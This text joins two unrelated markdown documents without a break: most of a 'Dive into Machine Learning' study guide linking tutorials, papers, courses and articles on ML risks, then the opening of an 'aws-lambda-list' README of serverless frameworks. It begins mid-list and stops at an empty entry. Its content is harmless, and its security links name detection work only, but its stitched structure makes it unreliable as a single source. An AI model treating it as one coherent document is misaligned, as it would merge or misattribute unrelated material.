- Some scientific computing packages:
- numpy
- pandas
- scikit-learn
- matplotlib
You can install Python 3 and all of these packages in a few clicks with the [Anaconda Python distribution](https://www.continuum.io/downloads). Anaconda is popular in Data Science and Machine Learning communities.
If you're using Python 2.7, don't worry. You don't have to migrate to Python 3 just for this guide. Also, if you're using pip/virtualenv instead of Anaconda, that's alright too! Confer [conda vs. pip vs. virtualenv](http://conda.pydata.org/docs/_downloads/conda-pip-virtualenv-translator.html) if you're curious.
## Let's go!
**[Learn how to use IPython Notebook](http://opentechschool.github.io/python-data-intro/core/notebook.html) (5-10 minutes).** (You can [learn by screencast](https://www.youtube.com/watch?v=qb7FT68tcA8) instead.)
Now, follow along with this brief exercise (10 minutes): **[An introduction to machine learning with scikit-learn](http://scikit-learn.org/stable/tutorial/basic/tutorial.html)**. Do it in `ipython` or IPython Notebook. It'll really boost your confidence.
[](http://scikit-learn.org/stable/tutorial/basic/tutorial.html)
## What just happened?
You just classified some hand-written digits using [scikit-learn]. Neat huh?
[scikit-learn] is the go-to library for machine learning in Python. [Some recognizable logos use it, including Spotify and Evernote.](http://scikit-learn.org/stable/testimonials/testimonials.html) Machine learning is hard. You'll be glad your tools are easy to work with.
[scikit-learn]: http://scikit-learn.org/stable/index.html
I encourage you to look at the [scikit-learn] homepage and spend about 5 minutes looking over the names of the strategies (Classification, Regression, etc.), and their applications. Don't click through yet! Just get a glimpse of the vocabulary.
# Dive in
## A Visual Introduction to Machine Learning
Let's learn a bit more about Machine Learning, and a couple of common ideas and concerns. Read ["A Visual Introduction to Machine Learning, Part 1"](http://www.r2d3.us/visual-intro-to-machine-learning-part-1/) by [Stephanie Yee](https://twitter.com/stephaniejyee) and [Tony Chu](https://twitter.com/tonyhschu/).
[](http://www.r2d3.us/visual-intro-to-machine-learning-part-1/)
It won't take long. It's a beautiful introduction ... Try not to drool too much!
## A Few Useful Things to Know about Machine Learning
OK. Let's dive deeper.
Read **["A Few Useful Things to Know about Machine Learning"](http://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf)** by Prof. Pedro Domingos. It's densely packed with valuable information, but not opaque. The author understands that there's a lot of "black art" and folk wisdom, and they invite you in.
Take your time with this one. Take notes. Don't worry if you don't understand it all yet.
The whole paper is packed with value, but I want to call out two points:
- **Data alone is not enough.** This is where science meets art in machine-learning. Quoting Domingos: "... the need for knowledge in learning should not be surprising. Machine learning is not magic; it can’t get something from nothing. What it does is get more from less. Programming, like all engineering, is a lot of work: we have to build everything from scratch. Learning is more like farming, which lets nature do most of the work. Farmers combine seeds with nutrients to grow crops. Learners combine knowledge with data to grow programs."
- **More data beats a cleverer algorithm.** Listen up, programmers. We like cool tools. Resist the temptation to reinvent the wheel, or to over-engineer solutions. Your starting point is to [Do the Simplest Thing that Could _Possibly_ Work](http://www.artima.com/intv/simplest3.html). Quoting Domingos: "Suppose you’ve constructed the best set of features you can, but the classifiers you’re getting are still not accurate enough. What can you do now? There are two main choices: design a better learning algorithm, or gather more data. [...] As a rule of thumb, a dumb algorithm with lots and lots of data beats a clever one with modest amounts of it. (After all, machine learning is all about letting data do the heavy lifting.)"
So **knowledge** and **data** are critical. Focus your efforts on those, before fussing about algorithms. In practice, this means that unless you _have_ to increase complexity, you should continue to [Do Simple Things]; don't rush to neural networks just because they're cool. To improve your model, get more data and use your knowledge of the problem to manipulate the data. You should spend most of your time on these steps. Only optimize your choice of algorithms after you've got enough data, and you've processed it well.
(Chart inspired by a slide from [Alex Pinto's talk, "Secure Because Math: A Deep-Dive on ML-Based Monitoring"](https://www.youtube.com/watch?v=TYVCVzEJhhQ).)
[Do Simple Things]: http://c2.com/cgi/wiki?DoSimpleThings
## Talking Machines
Subscribe to **[Talking Machines](http://www.thetalkingmachines.com/)**, a podcast about machine learning. It's great. It's a low-effort, high-yield way to learn more.
I suggest this listening order:
* Start with the ["Starting Simple"](http://www.thetalkingmachines.com/blog/2015/4/23/starting-simple-and-machine-learning-in-meds) episode. It supports what we read from Domingos. Ryan Adams talks about starting simple, as discussed above. Adams also stresses the importance of feature engineering. Feature engineering is an exercise of the "knowledge" Domingos writes about.
* Then, start over from the first episode
## Play to learn
Pick **one or two** of these IPython Notebooks and play along.
- [Face Recognition on a subset of the Labeled Faces in the Wild](http://nbviewer.ipython.org/github/ogrisel/notebooks/blob/master/Labeled%20Faces%20in%20the%20Wild%20recognition.ipynb)
- [Machine Learning from Disaster](http://agconti.github.io/kaggle-titanic/): Using Titanic data, "Demonstrates basic data munging, analysis, and visualization techniques. Shows examples of supervised machine learning techniques."
- [Election Forecasting](https://github.com/jseabold/538model): A replication of the model Nate Silver used to make [predictions about the 2012 US Presidential Election for the New York Times](http://fivethirtyeight.blogs.nytimes.com/fivethirtyeights-2012-forecast/))
- [An example Machine Learning notebook](https://github.com/rhiever/Data-Analysis-and-Machine-Learning-Projects/blob/master/example-data-science-notebook/Example%20Machine%20Learning%20Notebook.ipynb): "let's pretend we're working for a startup that just got funded to create a smartphone app that automatically identifies species of flowers from pictures taken on the smartphone. We've been tasked by our head of data science to create a demo machine learning model that takes four measurements from the flowers (sepal length, sepal width, petal length, and petal width) and identifies the species based on those measurements alone."
- ClickSecurity's "data hacking" series (thanks [hummus](https://github.com/hummus)!)
- [Detect Algorithmically Generated Domains](http://nbviewer.ipython.org/github/ClickSecurity/data_hacking/blob/master/dga_detection/DGA_Domain_Detection.ipynb)
- [Detect SQL Injection](http://nbviewer.ipython.org/github/ClickSecurity/data_hacking/blob/master/sql_injection/sql_injection.ipynb)
- [Java Class File Analysis](http://nbviewer.ipython.org/github/ClickSecurity/data_hacking/blob/master/java_classification/java_classification.ipynb): is this Java code malicious or benign?
- If you want more of a data science bent, pick a notebook from [this excellent list of Data Science ipython notebooks](https://github.com/donnemartin/data-science-ipython-notebooks). "Continually updated Data Science Python Notebooks: Spark, Hadoop MapReduce, HDFS, AWS, Kaggle, scikit-learn, matplotlib, pandas, NumPy, SciPy, and various command lines."
- Or more generic tutorials/overviews ...
- [Tutorial introduction to machine learning with sklearn](http://amueller.github.io/sklearn_tutorial/)
- [An Introduction to Supervised Learning via Scikit Learn](http://bugra.github.io/work/notes/2014-11-22/an-introduction-to-supervised-learning-scikit-learn/)
- [An Introduction to Unsupervised Learning via Scikit Learn](http://bugra.github.io/work/notes/2014-11-16/an-introduction-to-unsupervised-learning-scikit-learn/)
There are more places to find great IPython Notebooks:
* [A Gallery of Interesting IPython notebooks (wiki page on GitHub): Statistics, Machine Learning and Data Science](https://github.com/ipython/ipython/wiki/A-gallery-of-interesting-IPython-Notebooks#statistics-machine-learning-and-data-science)
* [Fabian Pedregosa's larger, automatic gallery](http://nb.bianp.net/sort/views/)
# Immerse yourself
Pick one of the courses below and do the whole thing.
## Recommended course
**[Prof. Andrew Ng's](http://www.andrewng.org/about/) [_Machine Learning_]( https://www.coursera.org/learn/machine-learning) is a free online course I've [seen](https://docs.google.com/document/d/1YN6BVdReNAYc8B0fjQ84yzDflqmeEPj7S0Xc-9_26R0/) [recommended](https://www.quora.com/How-do-I-learn-machine-learning-1/answer/Cory-Hicks-1) [often.](https://www.coursetalk.com/providers/coursera/courses/machine-learning?page=1&sort=-content_rating#reviews) [And](https://www.quora.com/How-do-I-learn-machine-learning-1/answer/Xavier-Amatriain) [emphatically.](http://www.forbes.com/sites/anthonykosner/2013/12/29/why-is-machine-learning-cs-229-the-most-popular-course-at-stanford/)**
It's helpful if you decide on a pet project to play around with, as you go, so you have a way to apply your knowledge. You could use one of these [Awesome Public Datasets](https://github.com/caesar0301/awesome-public-datasets). And remember, IPython Notebook is your friend.
Also, you should grab an in-depth textbook to use as a reference. The two best options are [_Understanding Machine Learning_](http://www.cs.huji.ac.il/~shais/UnderstandingMachineLearning/copy.html) and _[Elements of Statistical Learning](http://statweb.stanford.edu/~tibs/ElemStatLearn/)_. You'll see these recommended as reference textbooks. [I favor _UML_, but here's context and comparison.](https://github.com/hangtwenty/dive-into-machine-learning/issues/29) Download both books, they're free.
Busy schedule? Read [Ray Li's review of this course](http://rayli.net/blog/data/coursera-machine-learning-review/) for some helpful tips.
## Other courses
Here are some other free online courses I've seen recommended. (Machine Learning, Data Science, and related topics.)
* [Machine Learning](https://www.coursera.org/course/machlearning) by Prof. Pedro Domingos of the University of Washington. Domingos wrote the paper ["A Few Useful Things to Know About Machine Learning"](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf), from earlier in this guide. (Thanks to [paperwork on Hacker News.](https://news.ycombinator.com/item?id=9563501))
* Data science courses as IPython Notebooks:
* [Practical Data Science](http://radimrehurek.com/data_science_python/)
* [Learn Data Science (an entire self-directed course!)](http://learnds.com/)
* Supplementary material: [donnemartin/data-science-ipython-notebooks](https://github.com/donnemartin/data-science-ipython-notebooks). "Continually updated Data Science Python Notebooks: Spark, Hadoop MapReduce, HDFS, AWS, Kaggle, scikit-learn, matplotlib, pandas, NumPy, SciPy, and various command lines."
* Kevin Markham's video series, [Intro to Machine Learning with scikit-learn](http://blog.kaggle.com/2015/04/08/new-video-series-introduction-to-machine-learning-with-scikit-learn/), starts with what we've already covered, then continues on at a comfortable place. After the videos you could do Markham's [General Assembly's Data Science course.](https://github.com/justmarkham/DAT8) Interactive. (Older versions: [7](https://github.com/justmarkham/DAT7), [5](https://github.com/justmarkham/DAT5), [4](https://github.com/justmarkham/DAT4), [3](https://github.com/justmarkham/DAT3).) Markham's course is also offered in-person in Washington, DC.
* Prof. Mark A. Girolami's [Machine Learning Module (GitHub Mirror).](https://github.com/josephmisiti/machine-learning-module) Good for people with a strong mathematics background.
* Surveys of Data Science courseware (a bit more Choose Your Own Adventure)
* Check out [Jack Golding's survey of Data Science courseware](https://www.quora.com/Is-it-worth-it-to-pay-9-*-49-for-a-data-science-specialization-on-Coursera/answer/Jack-Golding). Includes Coursera's [Data Science Specialization](https://www.coursera.org/specializations/jhudatascience) with 9 courses in it. The Specialization certificate isn't free, but you can take the courses 1-by-1 for free if you don't care about the certificate. The survey also covers [Harvard CS109](http://cs109.github.io/2014/) which I've seen recommended elsewhere.
* [Another epic Quora thread: How can I become a data scientist?](https://www.quora.com/How-can-I-become-a-data-scientist?redirected_qid=59455)
* Data Science Weekly's [Big List of Data Science Resources](http://www.datascienceweekly.org/data-science-resources/the-big-list-of-data-science-resources) has a [List of Data Science MOOCs](http://www.datascienceweekly.org/data-science-resources/data-science-moocs)
* [Data Science (Harvard CS109)](http://cs109.github.io/2014/)
* [Advanced Statistical Computing (Vanderbilt BIOS8366).](http://stronginference.com/Bios8366/lectures.html). Interactive (lots of IPython Notebook material)
## Learn Pandas well
If you're focusing on Python, you should get more familiar with Pandas.
* **Essential**: [10 Minutes to Pandas](http://pandas.pydata.org/pandas-docs/stable/10min.html)
* **Essential**: [Things in Pandas I Wish I'd Had Known Earlier](http://nbviewer.ipython.org/github/rasbt/python_reference/blob/master/tutorials/things_in_pandas.ipynb) (IPython Notebook)
* [Useful Pandas Snippets](http://www.swegler.com/becky/blog/2014/08/06/useful-pandas-snippets/)
* Here are some docs I found especially helpful as I continued learning:
* [Cookbook](http://pandas.pydata.org/pandas-docs/stable/cookbook.html)
* [Data Structures](http://pandas.pydata.org/pandas-docs/stable/dsintro.html), esp. [DataFrame](http://pandas.pydata.org/pandas-docs/stable/dsintro.html#dataframe) section
* [Reshaping by pivoting DataFrames](http://pandas.pydata.org/pandas-docs/version/0.15.0/reshaping.html)
* [Computational tools](http://pandas.pydata.org/pandas-docs/stable/computation.html) and [StackExchange thread: "What is covariance in plain language?"](http://stats.stackexchange.com/questions/29713/what-is-covariance-in-plain-language)
* [Group By (split, apply, and combine DataFrames)](http://pandas.pydata.org/pandas-docs/stable/groupby.html)
* [Visualizing your DataFrames](http://pandas.pydata.org/pandas-docs/version/0.15.0/visualization.html)
## Cheat sheets
Bookmark these cheat sheets:
- [scikit-learn algorithm cheat sheet](http://scikit-learn.org/stable/tutorial/machine_learning_map/)
- [Metacademy: a package manager for [machine learning] knowledge](http://hunch.net/?p=2714). A mind map of machine learning concepts, with great detail on each.
- [Matplotlib / Pandas / Python cheat sheets](https://drive.google.com/folderview?id=0ByIrJAE4KMTtaGhRcXkxNHhmY2M).
## More topics
### More Data Science materials
Not repeating the materials mentioned above, here are some more Data Science resources:
* **Extremely accessible data science book: [_Data Smart_ by John Foreman](http://www.john-foreman.com/data-smart-book.html)**
* **[An entire self-directed course in Data Science, as a IPython Notebook](http://learnds.com/)**
* [Data Science Workflow: Overview and Challenges](http://cacm.acm.org/blogs/blog-cacm/169199-data-science-workflow-overview-and-challenges/fulltext) (read the article *and also* the comment by Joseph McCarthy)
* Fun little IPython Notebook: [Web Scraping Indeed.com for Key Data Science Job Skills](http://nbviewer.ipython.org/github/jmsteinw/Notebooks/blob/master/IndeedJobs.ipynb)
* Swami Chandrasekaran's ["Becoming a Data Scientist"](http://nirvacana.com/thoughts/becoming-a-data-scientist/) is a concise, printable picture of a data science curriculum
### Bayesian Statistics and Machine Learning
From [the "Bayesian Machine Learning" overview on Metacademy](https://www.metacademy.org/roadmaps/rgrosse/bayesian_machine_learning):
> ... Bayesian ideas have had a big impact in machine learning in the past 20 years or so because of the flexibility they provide in building structured models of real world phenomena. Algorithmic advances and increasing computational resources have made it possible to fit rich, highly structured models which were previously considered intractable.
You can learn more by studying one of the following resources. Both resources use Python, [PyMC](https://github.com/pymc-devs/pymc), and Jupyter Notebooks.
* The **free book,** _[Probabilistic Programming and Bayesian Methods for Hackers](http://camdavidsonpilon.github.io/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/)._ Made with a "computation/understanding-first, mathematics-second point of view." It's available in print too!
* [Bayesian Modelling in Python](https://github.com/markdregan/Bayesian-Modelling-in-Python)
## Questions, answers, chats
For now, the best StackExchange site is [stats.stackexchange.com – _machine-learning_.](http://stats.stackexchange.com/questions/tagged/machine-learning?sort=frequent&pageSize=15) (There's also [datascience.stackexchange.com](http://datascience.stackexchange.com/), but it's still in Beta.) And there's [/r/machinelearning](https://www.reddit.com/r/machinelearning). There are also many relevant discussions on Quora, for example: [What is the difference between Data Analytics, Data Analysis, Data Mining, Data Science, Machine Learning, and Big Data?](http://www.quora.com/What-is-the-difference-between-Data-Analytics-Data-Analysis-Data-Mining-Data-Science-Machine-Learning-and-Big-Data-1)
You should also [join the Gitter channel for scikit-learn!]( https://gitter.im/scikit-learn/scikit-learn)
For help and community in meatspace, seek out meetups. Data Science Weekly's [Big List of Data Science Resources](http://www.datascienceweekly.org/data-science-resources/the-big-list-of-data-science-resources) may help you.
# Assorted Opinions and Other Resources
The rest of the stuff that might not be structured enough for a course, but seems important to know.
## Risks
"Machine learning systems automatically learn programs from
data." Pedro Domingos, in ["A Few Useful Things to Know about Machine Learning."](http://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf) The programs you generate will require maintenance. Like any way of creating programs faster, you can rack up technical debt.
Here is the abstract of [Machine Learning: The High-Interest Credit Card of Technical Debt](https://static.googleusercontent.com/media/research.google.com/en/us/pubs/archive/43146.pdf):
> Machine learning offers a fantastically powerful toolkit for building complex systems quickly. This paper argues that it is dangerous to think of these quick wins as coming for free. Using the framework of technical debt, we note that it is remarkably easy to incur massive ongoing maintenance costs at the system level when applying machine learning. The goal of this paper is highlight several machine learning specific risk factors and design patterns to be avoided or refactored where possible. These include boundary erosion, entanglement, hidden feedback loops, undeclared consumers, data dependencies, changes in the external world, and a variety of system-level anti-patterns.
If you're following this guide, you should read that paper. You can also [listen to a podcast episode interviewing one of the authors of this paper](http://softwareengineeringdaily.com/2015/11/17/machine-learning-and-technical-debt-with-d-sculley/).
A few more articles on the risks:
- **[Surviving Data Science "at the Speed of Hype"](http://www.john-foreman.com/blog/surviving-data-science-at-the-speed-of-hype)** by John Foreman, Data Scientist at MailChimp
- [The High Cost of Maintaining Machine Learning Systems](http://www.kdnuggets.com/2015/01/high-cost-machine-learning-technical-debt.html)
- [11 Clever Methods of Overfitting and How to Avoid Them](http://hunch.net/?p=22)
- [The Perilous World of Machine Learning for Fun and Profit: Pipeline Jungles and Hidden Feedback Loops](http://www.john-foreman.com/blog/the-perilous-world-of-machine-learning-for-fun-and-profit-pipeline-jungles-and-hidden-feedback-loops)
### Welcome to the Danger Zone
So you are dabbling with Machine Learning. You've got Hacking Skills. Maybe you've got some "knowledge" in Domingos' sense (some "Substantive Expertise" or "Domain Knowledge"). This diagram is modified slightly from Drew Conway's "Data Science Venn Diagram." It isn't a _perfect_ fit for us, but it may get the point across:
[](http://drewconway.com/zia/2013/3/26/the-data-science-venn-diagram)
**Please** don't sell yourself as a Machine Learning expert while you're still in the Danger Zone. Don't build bad products or publish junk science. (Also please [don't be evil](http://arstechnica.co.uk/security/2016/02/the-nsas-skynet-program-may-be-killing-thousands-of-innocent-people/).) This guide can't tell you how you'll know you've "made it" into Machine Learning competence ... let alone expertise. It's hard to evaluate proficiency without schools or other institutions. This is a common problem for self-taught people.
#### Towards Expertise
You need practice. [On Hacker News, user olympus commented to say you could use competitions to practice and evaluate yourself](https://news.ycombinator.com/item?id=10508565). [Kaggle](http://www.kaggle.com/competitions) and [ChaLearn](http://www.chalearn.org/) are hubs for Machine Learning competitions. You can find some [examples of code for popular Kaggle competitions here](https://github.com/apeeyush/machine-learning). For smaller exercises, [try HackerRank](https://www.hackerrank.com/domains/ai/machine-learning/page/1).
You also need understanding. You should review what Kaggle competition winners say about their solutions, [for example, the "No Free Hunch" blog](http://blog.kaggle.com/). These might be over your head at first but once you're starting to understand and appreciate these, you know you're getting somewhere.
Competitions and challenges are one way to practice. You shouldn't limit yourself, though.
Here's a complementary way to practice: **do practice studies.**
1. **Ask a question. Start your own study.** The ["most important thing in data science is the question"](https://github.com/DataScienceSpecialization/courses/blob/master/01_DataScientistToolbox/03_02_whatIsData/index.Rmd#the-data-is-the-second-most-important-thing) ([Dr. Jeff T. Leek](https://github.com/jtleek)). So start with a question. Then, find [real data](https://github.com/caesar0301/awesome-public-datasets). Analyze it. Then ...
2. **Communicate results.** When you have a novel finding, reach out for peer review.
3. **Fix issues.** Learn. Share what you learn.
And repeat. Re-phrasing this, it fits with the [scientific method](https://en.wikipedia.org/wiki/Scientific_method): formulate a question (or problem statement), create a hypothesis, gather data, analyze the data, and communicate results. (You should [watch this video about the scientific method in data science](http://101.datascience.community/2012/06/27/the-data-scientific-method/), and/or [read this article](http://customerthink.com/getting-insights-using-data-science-skills-and-the-scientific-method/).)
How can you come up with interesting questions? Here's one way. Every Sunday, [browse datasets](https://github.com/caesar0301/awesome-public-datasets) and write down some questions. Also, sign up for [Data is Plural](https://tinyletter.com/data-is-plural), a newsletter of interesting datasets; look at these, datasets, and write down questions. Stay curious. When a question inspires you, start a study.
This advice, to do practice studies and learn from peer review, is based on [a conversation](https://github.com/hangtwenty/dive-into-machine-learning/issues/11#issuecomment-153934120) with [Dr. Randal S. Olson](http://www.randalolson.com/). Here's more advice from Olson, [quoted with permission:](https://github.com/hangtwenty/dive-into-machine-learning/issues/11#issuecomment-154135498)
> I think the best advice is to tell people to always present their methods clearly and to avoid over-interpreting their results. Part of being an expert is knowing that there's rarely a clear answer, especially when you're working with real data.
As you repeat this process, your practice studies will become more scientific, interesting, and focused. The most important part of this process is peer review.
#### Ask for Peer Review
Here are some communities where you can reach out for peer review:
* [Cross-Validated: stats.stackexchange.com](https://stats.stackexchange.com/)
* [/r/DataIsBeautiful](https://reddit.com/r/DataIsBeautiful)
* [/r/DataScience](https://reddit.com/r/DataScience)
* [/r/MachineLearning](https://reddit.com/r/MachineLearning)
* [Hacker News: news.ycombinator.com](https://news.ycombinator.com). You'll probably want to submit as "Show HN"
Post to any of those, and ask for feedback. You'll get feedback. You'll learn a ton. As experts review your work you will learn a lot about the field. You'll also be practicing a crucial skill: accepting critical feedback.
When I read the feedback on my Pull Requests, first I repeat to myself, "I will not get defensive, I will not get defensive, I will not get defensive." You may want to do that before you read reviews of your Machine Learning work too.
### An Anecdote About User Experience
If you create software for users, and you want to use machine learning to benefit your users, *you must understand your users.* I won't get into a whole user experience rant here, but in short, you must think about user experience.
I have a friend who worked at `<Redacted>` Music Streaming Service. This company used machine learning in their recommendation and radio services. He complained about the way the company scored the radio feature's performance. There was disagreement about what should be scored. They used a metric, "no song skips." But why? Sure that indicates the recommendation wasn't *awful*, what if you want to measure engagement? Other metrics could measure positive engagement: "favorites," shares, listening time, or whether the listener returns to the radio station later. Measuring "no skips" might work for the passive listener, but the engaged listener is different. Perhaps the engaged listener will skip 5 songs, but find 20 songs they love and come back to the service later.
**My takeaway:** user experience matters just as much as ever. You must understand *which kind* of user you're trying to benefit with your machine learning techniques. Write user stories. (Some readers may notice this anecdote is very unscientific. Well, user stories are sometimes unscientific. Yet still so important.)
Try to measure success _for your users._ You must be able to measure before you can optimize.
It helps to have knowledge of the domain (substantive expertise). You may also benefit from UX expertise. Work with UX experts if you can.
### Machine Learning in Internet Security
There was a great BlackHat webcast on this topic, [Secure Because Math: Understanding Machine Learning-Based Security Products.](https://www.blackhat.com/html/webcast/02192015-secure-because-math.html) Slides are [here](https://www.blackhat.com/html/webcast/02192015-secure-because-math.html), [video recording is here.](https://attendee.gotowebinar.com/recording/80449431422110210) Equally relevant to InfoSec and AppSec.
## Big Data?
Scaling data analysis is a familiar problem now, and there's no shortage of ways to address it. [Beware needless hype and companies selling you flashy, proprietary solutions.](http://www.john-foreman.com/blog/surviving-data-science-at-the-speed-of-hype) You can do it all with open-source tools. Even if "buy" instead of "build," you may want to buy from vendors who use known good stacks. No news here.
Here are some open-source tools to reach for:
* **[Apache Spark.](https://spark.apache.org/)**
* I mean, hell, [Spark has DataFrames and easy co-operability with pandas!](https://databricks.com/blog/2015/02/17/introducing-dataframes-in-spark-for-large-scale-data-science.html)
* Berkeley has [a course on Scalable Machine Learning, focusing on Apache Spark.](https://www.edx.org/course/scalable-machine-learning-uc-berkeleyx-cs190-1x#.VOC70VPF_lQ)
* [NetflixOSS](http://netflix.github.io/#repo) (see "Big Data Tools")
* [Netflix: Surus and ScorePMML](http://techblog.netflix.com/2015/01/introducing-surus-and-scorepmml.html)
* ["big data" on the NetflixOSS blog](http://techblog.netflix.com/search/label/big%20data)
Also: [10 things statistics taught us about big data analysis](http://simplystatistics.org/2014/05/22/10-things-statistics-taught-us-about-big-data-analysis/)
## Finding Open-Source Libraries
* Bookmark **[awesome-machine-learning](https://github.com/josephmisiti/awesome-machine-learning)**, a curated list of [awesome](https://github.com/bayandin/awesome-awesomeness) Machine Learning libraries and software.
* [TensorFlow](http://www.tensorflow.org/) seems like a [really big deal.](https://news.ycombinator.com/item?id=10532957) People like you will do exciting things with TensorFlow. It's a framework. Frameworks can help you manage complexity. Just remember this rule of thumb: **"More data beats a cleverer algorithm"** (Domingos), no matter how cool your tools are. Also note, TensorFlow is not the only machine learning framework of its kind: **[Check this great, detailed comparison of TensorFlow, Torch, and Theano.](https://github.com/zer0n/deepframeworks)** See also [Newmu/Theano-Tutorials](https://github.com/Newmu/Theano-Tutorials) and [nlintz/TensorFlow-Tutorials](https://github.com/nlintz/TensorFlow-Tutorials).
* Bookmark [Pythonidae](https://github.com/svaksha/pythonidae/blob/master/AI.md#machine-learning), a curated list of [awesome](https://github.com/bayandin/awesome-awesomeness) libraries and software in the Python language - with a section on Machine Learning.
* Bookmark [Julia.jl](https://github.com/svaksha/Julia.jl/blob/master/AI.md#machine-learning), a curated list of [awesome](https://github.com/bayandin/awesome-awesomeness) libraries and software in the Julia language - with a section on Machine Learning.
* For Machine-Learning libraries that might not be on PyPI, GitHub, etc., there's [MLOSS (Machine Learning Open Source Software)](http://mloss.org/software/). Seems to feature many academic libraries.
## Alternative ways to "Dive into Machine Learning"
Here are some other guides to Machine Learning. They can be alternatives or complements to this guide.
* [Machine Learning for Developers](http://xyclade.github.io/MachineLearning/) is another good introduction. It introduces machine learning for a developer audience using Smile, a machine learning library that can be used both in Java and Scala.
* [Materials for Learning Machine Learning](http://www.jacksimpson.co/2015/06/07/materials-for-learning-machine-learning/) by Jack Simpson
* [How to Machine Learn](https://docs.google.com/document/d/1YN6BVdReNAYc8B0fjQ84yzDflqmeEPj7S0Xc-9_26R0/edit) by [Gideon Wulfsohn](http://gwulfs.github.io/)
* [Machine Learning for Programmers [with caveats]](https://gist.github.com/hangtwenty/a15c8bed5b120eebf352): Pragmatic guide for developers, definitely worth a read. I've linked you to my own intro to it, explaining a few caveats. Taking it with a grain of salt, and these caveats in mind, I think some programmers will find it worth their time.
* [Example Machine Learning notebook, exercise, and guide](https://github.com/rhiever/Data-Analysis-and-Machine-Learning-Projects/blob/master/example-data-science-notebook/Example%20Machine%20Learning%20Notebook.ipynb) by Dr. Randal S. Olson. Mentioned in Notebooks section as well, but it has a similar goal to this guide (introduce you, and show you where to go next). Rich "Further Reading" section.
* [Your guide here]
|
# aws-lambda-list
[](https://opensource.org/licenses/Apache-2.0)
[](https://circleci.com/gh/unixorn/awesome-zsh-plugins)
[](https://github.com/unixorn/aws-lambda-list/stargazers)
[](https://codeclimate.com/github/unixorn/aws-lambda-list)
[](https://codeclimate.com/github/unixorn/aws-lambda-list)
<!-- START doctoc generated TOC please keep comment here to allow auto update -->
<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
## Table of Contents
- [Frameworks](#frameworks)
- [Apex](#apex)
- [Architect](#architect)
- [Brutus](#brutus)
- [Chalice](#chalice)
- [Colly](#colly)
- [Dawson-cli](#dawson-cli)
- [Funky](#funky)
- [Hexaville](#hexaville)
- [Jets](#jets)
- [Middy](#middy)
- [Power-jambda](#power-jambda)
- [Python-lambda](#python-lambda)
- [Python-lambdarest](#python-lambdarest)
- [Pyverless](#pyverless)
- [Rumbda](#rumbda)
- [Scar](#scar)
- [Serverless](#serverless)
- [Serverless Golang](#serverless-golang)
- [Sparta](#sparta)
- [Up](#up)
- [Webda](#webda)
- [Zappa](#zappa)
- [Functions & Applications](#functions--applications)
- [Other Resources](#other-resources)
- [Miscellaneous](#miscellaneous)
- [Tutorials](#tutorials)
- [Utilities](#utilities)
<!-- END doctoc generated TOC please keep comment here to allow auto update -->
A list of AWS lambdas and lambda-related resources. Hopefully some are even useful.
Please note that there are no guarantees that the functions here are safe to run - you're going to have to test them yourself.
This list is under the [Apache 2.0 license](https://github.com/unixorn/aws-lambda-list/blob/master/LICENSE).
## Frameworks
### [Apex](http://apex.run/)
Apex lets you use languages that are not natively supported by AWS Lambda, such as Golang, through the use of a Node.js shim injected into the build. A variety of workflow related tooling is provided for testing functions, rolling back deploys, viewing metrics, tailing logs, hooking into the build system and more.
### [Architect](https://arc.codes)
Architect defines infrastructure in a simple plaintext manifest `.arc` and utilizes npm script based workflows for provisioning cloud infrastructure in minutes and deploying in seconds.
Infra primitives supported:
- API Gateway Lambda functions; HTTP route handler functions for application/json and text/html
- SNS Lambda functions (and publish events from any other function)
- CloudWatch Events scheduled Lambda functions
- DynamoDB Database tables, indexes, and trigger Lambda functions
Architect governance is under the JS Foundation umbrella and is Apache 2.0 licensed.
### [Brutus](https://github.com/milesgranger/brutus)
An HTTP/TCP Distributed Computing Framework in Python using Amazon Lambda functions.
This is a working prototype, still under development. Not suitable for anything other than exploring, making suggestions/issues.
### [Chalice](https://github.com/aws/chalice)
Chalice is Amazon's python serverless microframework for AWS. It allows you to quickly create and deploy applications that use Amazon API Gateway and AWS Lambda.
### [Colly](https://github.com/tmaslen/colly)
Another Javascript serverless framework for AWS Lambda and API Gateway.
### [Dawson-cli](https://github.com/dawson-org/dawson-cli)
A serverless web framework for Node.js on AWS (CloudFormation, CloudFront, API Gateway, Lambda).
### [Funky](https://github.com/neapjs/funky)
__*Universal Serverless Web Framework*__. Write code for serverless similar to [Express](https://expressjs.com/) once, deploy everywhere (thanks to the awesome [Zeit Now-CLI](https://zeit.co/now)). This also includes creating functions that can get triggered by [Google Cloud PubSub topics](https://cloud.google.com/pubsub/docs/overview).
**Targeted platforms:**
- [__*AWS Lambdas*__](https://aws.amazon.com/lambda)
- [__*Google Cloud Functions*__](https://cloud.google.com/functions/) (incl. reacting to [__*Pub/Sub events*__](reacting-to-google-pubsub-topics) or __*Storage changes*__)
- [__*Zeit Now*__](https://zeit.co/now) (using express under the hood)
### [Hexaville](https://github.com/noppoMan/Hexaville)
Hexaville is a serverless framework for Swift using AWS Lambda + ApiGateway etc as a back end. Build applications in Swift comprised of microservices that run in response to events, automatically scale to meet demand, and only be charged for time actually spent running.
### [Jets](https://github.com/tongueroo/jets)
Jets is a Ruby Serverless Framework. Jets allows you to create serverless applications with a beautiful language: Ruby. It includes everything required to build an application and deploy it to AWS Lambda. The official documentation is at [Ruby on Jets](http://rubyonjets.com/).
### [Middy](https://github.com/middyjs/middy)
Middy is a very simple middleware engine. If you are used to web frameworks like express, than you will be familiar with the concepts adopted in Middy and you will be able to get started very quickly.
### [Power-jambda](https://github.com/visionarts/power-jambda)
A Java serverless microframework for RESTful API that allows you to quickly develop applications that use Amazon API Gateway and AWS Lambda.
### [Python-lambda](https://github.com/nficano/python-lambda)
A toolkit for developing and deploying serverless Python code in AWS Lambda. The Python-Lambda library takes away the guess work of developing your Python-Lambda services by providing you a toolset to streamline the annoying parts.
### [Python-lambdarest](https://github.com/trustpilot/python-lambdarest)
Python routing mini-framework for AWS Lambda with optional JSON-schema validation.
Features:
* lambda_handler function constructor with built-in dispatcher
* Decorator to register functions to handle HTTP methods
* Optional JSON-schema input validation using same decorator
### [Pyverless](https://github.com/QuantumBA/pyverless)
Pyverless is a mini-framework with a bunch of utilities that aims to help you create APIs using AWS Lambdas fast and in a consistent way. Pyverless provides the following:
* Authentication handling
* Class-Based Handlers
* Configuration
* Exceptions
* JWT and cryptography
* Serializers
* Warmup handling
### [Rumbda](https://github.com/kleaver/rumbda)
